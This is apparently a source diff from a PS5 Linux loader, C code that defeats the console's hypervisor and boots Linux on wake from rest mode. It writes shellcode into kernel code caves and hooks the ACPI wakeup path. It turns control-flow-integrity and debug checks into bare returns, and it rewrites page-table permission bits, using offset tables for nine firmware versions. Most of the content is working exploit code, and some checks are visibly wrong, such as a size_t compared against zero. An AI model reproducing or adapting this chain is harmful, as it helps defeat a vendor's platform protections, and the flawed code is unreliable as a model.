snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);
if (stat(full_path, &st) == 0) {
printf("File '%s' found in '%s'\n", filename, file_paths[i]);
strcpy(found_path, full_path);
return st.st_size;
}
}
return -1;
}
static int find_and_read_file(const char *filename, void *buf, size_t bufsize) {
char full_path[256];
struct stat st;
int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);
for (int i = 0; i < num_paths; i++) {
snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);
if (stat(full_path, &st) == 0) {
printf("File '%s' found in '%s'\n", filename, file_paths[i]);
return read_file(full_path, buf, bufsize);
}
}
return -1;
}
static int read_file(const char *path, void *buf, size_t bufsize) {
int fd = open(path, O_RDONLY);
if (fd < 0)
return fd;
int r = read(fd, buf, bufsize);
close(fd);
return r;
}
static void trim_newline(char *s) {
while (*s != '\0') {
if (*s == '\r' || *s == '\n') {
*s = '\0';
break;
}
s++;
}
}
int fetch_linux(struct linux_info *info) {
uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));
uintptr_t self_pml4 = kread64(self_pmap + 0x20);
uintptr_t syscore_pmap = getpmap(kernel_get_proc(MINI_SYSCORE_PID));
uintptr_t syscore_pml4 = kread64(syscore_pmap + 0x20);
char bzimage_path[256];
char initrd_path[256];
size_t bzimage_size = find_and_get_size_of_file("bzImage", bzimage_path);
if (bzimage_size < 0) {
printf("File bzImage not found at default paths - Aborting\n");
return -1;
}
void *bzimage =
mmap(NULL, ALIGN_UP(bzimage_size, 0x1000), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (bzimage == MAP_FAILED) {
printf("[-] Error could not allocate bzimage.\n");
return -1;
}
bzimage_size =
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, 0x1000));
if (bzimage_size < 0) {
printf("Something went wrong while reading bzImage - Aborting\n");
return -1;
}
size_t initrd_size = find_and_get_size_of_file("initrd.img", initrd_path);
if (bzimage_size < 0) {
printf("File bzImage not found at default paths - Aborting\n");
return -1;
}
void *initrd =
mmap(NULL, ALIGN_UP(initrd_size, 0x1000), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (initrd == MAP_FAILED) {
printf("[-] Error could not allocate initrd.\n");
return -1;
}
initrd_size = read_file(initrd_path, initrd, ALIGN_UP(initrd_size, 0x1000));
if (initrd_size < 0) {
printf("Something went wrong while reading initrd - Aborting\n");
return -1;
}
size_t vram_size;
char buf_vram[16] = {};
int ret = find_and_read_file("vram.txt", buf_vram, sizeof(buf_vram) - 1);
if (ret < 0) {
printf(
"File vram.txt not found at default paths - Using static fallback\n");
vram_size = VRAM_SIZE;
} else {
trim_newline(buf_vram);
vram_size = strtoull(buf_vram, NULL, 16);
if (vram_size == 0) {
printf("Seems like the configured vram value is wrong - Using static "
"fallback\n");
vram_size = VRAM_SIZE;
}
}
char cmdline[2048] = {};
ret = find_and_read_file("cmdline.txt", cmdline, sizeof(cmdline) - 1);
if (ret < 0) {
printf("File cmdline.txt not found at default paths - Using static "
"fallback\n");
strcpy(cmdline, CMD_LINE);
} else {
trim_newline(cmdline);
}
info->linux_info = kernel_cave_linux_info;
info->bzimage = kernel_cave_bzImage;
info->bzimage_size = bzimage_size;
info->initrd = kernel_cave_bzImage + ALIGN_UP(bzimage_size, PAGE_SIZE);
info->initrd_size = initrd_size;
info->vram_size = vram_size;
strcpy(info->cmdline, cmdline);
uint64_t page = alloc_page();
kwrite(pa_to_dmap(page), info, sizeof(struct linux_info));
install_page(syscore_pml4, kernel_cave_linux_info, page, 0);
for (int i = 0; i < bzimage_size; i += PAGE_SIZE) {
install_page(syscore_pml4, info->bzimage + i,
va_to_pa_user((uintptr_t)bzimage + i), 0);
}
for (int i = 0; i < initrd_size; i += PAGE_SIZE) {
install_page(syscore_pml4, info->initrd + i,
va_to_pa_user((uintptr_t)initrd + i), 0);
}
return 0;
}

175
source/main.c Normal file
View File

@@ -0,0 +1,175 @@
#include "main.h"
#include "../shellcode_kernel/shellcode_kernel.h"
#include "hv_defeat.h"
#include "loader.h"
#include "offsets.h"
#include "utils.h"
#include <stdio.h>
#include <unistd.h>
int main(void) {
if (setup_env()) {
printf("Something went wrong while initiating.\nPlease make sure your fw "
"is supported.");
return -1;
}
if (hv_defeat()) {
printf("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
return -1;
}
if (fetch_linux(&linux_i)) {
printf("Something went wrong while installing linux files.\n");
return -1;
}
if (prepare_resume()) {
printf("Something went wrong while preparing resume.\n");
return -1;
}
printf("Everything done. Go to rest mode, wait for the orange light to stop "
"blinking and then wakeup to Linux :)\n");
while (1) {
sleep(30);
}
return 0;
}
int setup_env(void) {
printf("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system "
"to boot Linux on sleep resume.\n");
if (set_offsets())
return -1;
if (init_global_vars())
return -1;
return 0;
}
int prepare_resume(void) {
if (env_offset.KERNEL_CODE_CAVE == 0) {
printf("Error: missing code cave offset\n");
return -1;
}
if (env_offset.KERNEL_DATA_CAVE == 0) {
printf("Error: missing data cave offset\n");
return -1;
}
printf("\nWriting Shell Code for WakeUp path and patching "
"AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n");
uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE;
uint64_t dest_data =
ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data
// variables are in shellcode
uint64_t sz = shellcode_kernel_text_len;
uint32_t CHUNK = 0x1000;
uint64_t written = 0;
while (written < sz) {
uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written);
kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n);
written += n;
}
DEBUG_PRINT(" copied %d bytes to text cave\n", sz);
DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n",
dest_text, env_offset.KERNEL_CODE_CAVE);
for (uint64_t i = 0; i < sz; i++) {
DEBUG_PRINT("%02x", kread8(dest_text + i));
}
DEBUG_PRINT("\n\n");
shellcode_kernel_args args;
// Fill structure of ShellCode Arguments
args.fw_version = kernel_get_fw_version() & 0xFFFF0000;
args.ktext = ktext;
args.kdata = kdata;
args.dmap_base = dmap;
args.fun_printf = ktext + env_offset.FUN_PRINTF;
args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA;
args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;
args.fun_hv_iommu_wait_completion =
ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION;
args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS;
args.fun_smp_no_rendevous_barrier =
ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER;
args.g_vbios = ktext + env_offset.G_VBIOS;
args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL;
args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;
args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;
args.iommu_mmio_va = iommu->mmio_va;
args.iommu_cb2_va = iommu->cb2_base;
args.iommu_cb3_va = iommu->cb3_base;
args.iommu_eb_va = iommu->eb_base;
memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16);
args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;
args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA;
args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode
// bzimage_va and initrd_va are passed in the linux_info structure
// Copy arguments to small .data cave
kernel_copyin(&args, dest_data, sizeof(args));
DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n",
dest_data, env_offset.KERNEL_DATA_CAVE);
for (uint64_t i = 0; i < sz; i++) {
DEBUG_PRINT("%02x", kread8(dest_data + i));
}
DEBUG_PRINT("\n\n");
// Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and
// overwrite it with proper VA in .data for arguments
int offset = -1;
for (int i = 0; i < 0x40; i++) {
if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) ==
0x11AA11AA11AA11AA) {
offset = i;
break;
}
}
if (offset == -1) {
printf("Could not find offset of args_ptr address - Aborting\n");
}
kwrite64(dest_text + offset, dest_data);
DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n",
dest_data, dest_text + offset, offset);
uint64_t instr_to_patch =
ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector
// in acpi_wakeup_machdep
int64_t diff_call = dest_text - instr_to_patch;
uint8_t new_instr[5];
new_instr[0] = 0xE8; // Call Near
*((uint32_t *)&new_instr[1]) =
(int32_t)(diff_call - 5); // Call Offset is relative to the next
// instruction and Call uses 5 bytes
// Patch instruction
kernel_copyin(new_instr, instr_to_patch, 5);
DEBUG_PRINT("Instruction patched\n");
// Patch debug exception
kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3);
// Patch cfi_check
kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3);
return 0;
}

298
source/offsets.c Normal file
View File

@@ -0,0 +1,298 @@
#include "offsets.h"
offset_list off_0300 = {
.PMAP_STORE = 0x3D8E218,
.HV_BSS_OFF = 0x16000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E59,
.FUN_PRINTF = 0x048B9A0,
.FUN_VA_TO_PA = 0x0831410,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50,
.FUN_SMP_RENDEZVOUS = 0x0A3E850,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A560,
.FUN_MP3_INITIALIZE = 0x0953890,
.FUN_MP3_INVOKE = 0x0952670,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x0752460,
.KERNEL_CFI_CHECK = 0x0441DD0,
};
offset_list off_0310 = {
.PMAP_STORE = 0x3D8E218,
.HV_BSS_OFF = 0x16000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390ED5,
.FUN_PRINTF = 0x048B9E0,
.FUN_VA_TO_PA = 0x0831410,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90,
.FUN_SMP_RENDEZVOUS = 0x0A3E890,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,
.FUN_MP3_INITIALIZE = 0x09538D0,
.FUN_MP3_INVOKE = 0x09526B0,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x07524A0,
.KERNEL_CFI_CHECK = 0x0441E10,
};
offset_list off_0320 = {
.PMAP_STORE = 0x3D8E218,
.HV_BSS_OFF = 0x16000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.FUN_PRINTF = 0x48BD30,
.FUN_VA_TO_PA = 0x8317A0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
};
offset_list off_0321 = {
.PMAP_STORE = 0x3D8E218,
.HV_BSS_OFF = 0x16000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.FUN_PRINTF = 0x48BD30,
.FUN_VA_TO_PA = 0x8317A0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
};
offset_list off_0400 = {
.PMAP_STORE = 0x3E57A78,
.HV_BSS_OFF = 0x14000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85ADC0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,
.FUN_SMP_RENDEZVOUS = 0xA6C920,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AD50,
.FUN_MP3_INITIALIZE = 0x9805C0,
.FUN_MP3_INVOKE = 0x97F3E0,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DA70,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0402 = {
.PMAP_STORE = 0x3E57A78,
.HV_BSS_OFF = 0x14000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85AE10,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63950,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890,
.FUN_SMP_RENDEZVOUS = 0xA6C970,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5ADA0,
.FUN_MP3_INITIALIZE = 0x980610,
.FUN_MP3_INVOKE = 0x97F430,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DAC0,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0403 = {
.PMAP_STORE = 0x3E57A78,
.HV_BSS_OFF = 0x14000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85AEA0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930,
.FUN_SMP_RENDEZVOUS = 0xA6CA00,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AE30,
.FUN_MP3_INITIALIZE = 0x9806A0,
.FUN_MP3_INVOKE = 0x97F4C0,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DB50,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0450 = {
.PMAP_STORE = 0x3E57A78,
.HV_BSS_OFF = 0x14000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3,
.FUN_PRINTF = 0x04A3270,
.FUN_VA_TO_PA = 0x85AFF0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0,
.FUN_SMP_RENDEZVOUS = 0xA6CBB0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AFF0,
.FUN_MP3_INITIALIZE = 0x980850,
.FUN_MP3_INVOKE = 0x97F670,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC80,
.KERNEL_CFI_CHECK = 0x45A1A0,
};
offset_list off_0451 = {
.PMAP_STORE = 0x3E57A78,
.HV_BSS_OFF = 0x14000,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x64C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3,
.FUN_PRINTF = 0x4A3270,
.FUN_VA_TO_PA = 0x85B390,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20,
.FUN_SMP_RENDEZVOUS = 0xA6CFE0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5B420,
.FUN_MP3_INITIALIZE = 0x980BF0,
.FUN_MP3_INVOKE = 0x97FA10,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC90,
.KERNEL_CFI_CHECK = 0x45A1A0,
};

12
source/tmr.c Normal file
View File

@@ -0,0 +1,12 @@
#include "tmr.h"
#include "utils.h"
uint32_t tmr_read(uint32_t addr) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
return kread32(ECAM_B0D18F2 + TMR_DATA_OFF);
}
void tmr_write(uint32_t addr, uint32_t val) {
kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);
kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val);
}

219
source/utils.c Normal file
View File

@@ -0,0 +1,219 @@
#include "utils.h"
#include "offsets.h"
#include <ps5/kernel.h>
#include <stdio.h>
#include <sys/cpuset.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <unistd.h>
/* Global Variables */
offset_list env_offset;
uint64_t ktext;
uint64_t kdata;
uint64_t dmap;
uint64_t cr3;
uint32_t fw;
struct linux_info linux_i;
int set_offsets(void) {
fw = kernel_get_fw_version() >> 16;
if (fw == 0)
return -1;
switch (fw) {
case 0x0300:
env_offset = off_0300;
break;
case 0x0310:
env_offset = off_0310;
break;
case 0x0320:
env_offset = off_0320;
break;
case 0x0321:
env_offset = off_0321;
break;
case 0x0400:
env_offset = off_0400;
break;
case 0x0402:
env_offset = off_0402;
break;
case 0x0403:
env_offset = off_0403;
break;
case 0x0450:
env_offset = off_0450;
break;
case 0x0451:
env_offset = off_0451;
break;
default:
return -1;
}
return 0;
}
int init_global_vars(void) {
ktext = KERNEL_ADDRESS_TEXT_BASE;
kdata = KERNEL_ADDRESS_DATA_BASE;
flat_pmap kernel_pmap;
kread(ktext + env_offset.PMAP_STORE, &kernel_pmap, sizeof(kernel_pmap));
if (kernel_pmap.pm_pml4 == 0 || kernel_pmap.pm_cr3 == 0)
return -1;
cr3 = kernel_pmap.pm_cr3;
dmap = kernel_pmap.pm_pml4 - kernel_pmap.pm_cr3;
return 0;
}
uint64_t get_offset_va(uint64_t offset) { return ktext + offset; }
uint64_t get_pml4(uint64_t pmap) { return kread64(pmap + 0x20); }
uint64_t getpmap(uint64_t proc) {
uint64_t vm = kread64(proc + KERNEL_OFFSET_PROC_P_VMSPACE);
uint64_t vm_pmap = kread64(vm + env_offset.VMSPACE_VM_PMAP);
return vm_pmap;
}
// for ring3
uint64_t va_to_pa_user(uint64_t va) {
uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));
uintptr_t self_pml4 = get_pml4(self_pmap);
uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF);
return pa;
}
// for ring0
uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); }
// Source: PS5_kldload
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
kread(dmap + PAGE_PA(table_phys) + idx * 8, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3)
return PAGE_PA(entry) | (va & 0xFFF);
table_phys = PAGE_PA(entry);
}
return 0;
}
uint64_t pa_to_dmap(uint64_t pa) { return dmap + pa; }
// Set RW bit on all levels if needed and remove eXecute Only bit
void page_chain_set_rw(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return;
uint8_t update = 0;
// Set RW bit on this level
if (!PAGE_RW(entry)) {
PAGE_SET_RW(entry);
update = 1;
}
// Unset XO on this level
if (PAGE_XO(entry)) {
PAGE_CLEAR_XO(entry);
update = 1;
}
if (update) {
kwrite(entry_va, &entry, sizeof(entry));
}
if (((level == 1 || level == 2) && PAGE_PS(entry)) || (level == 3)) {
return;
}
table_phys = PAGE_PA(entry);
}
return;
}
// Remove Global bit on last level
uint64_t page_remove_global(uint64_t va) {
uint64_t table_phys = cr3;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
uint64_t entry;
// Read Level X entry
kread(entry_va, &entry, sizeof(entry));
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3) {
PAGE_CLEAR_G(entry);
kwrite(entry_va, &entry, sizeof(entry));
return PAGE_PA(entry) | (va & 0xFFF);
}
table_phys = PAGE_PA(entry);
}
return 0;
}
int pin_to_core(int n) {
uint64_t m[2] = {0};
m[0] = (1 << n);
return cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}
int pin_to_first_available_core(void) {
for (int i = 0; i < 16; i++)
if (pin_to_core(i) == 0)
return i;
return -1;
}
void unpin(void) {
uint64_t m[2] = {0xFFFF, 0};
cpuset_setaffinity(3, 1, -1, 0x10, (const cpuset_t *)m);
}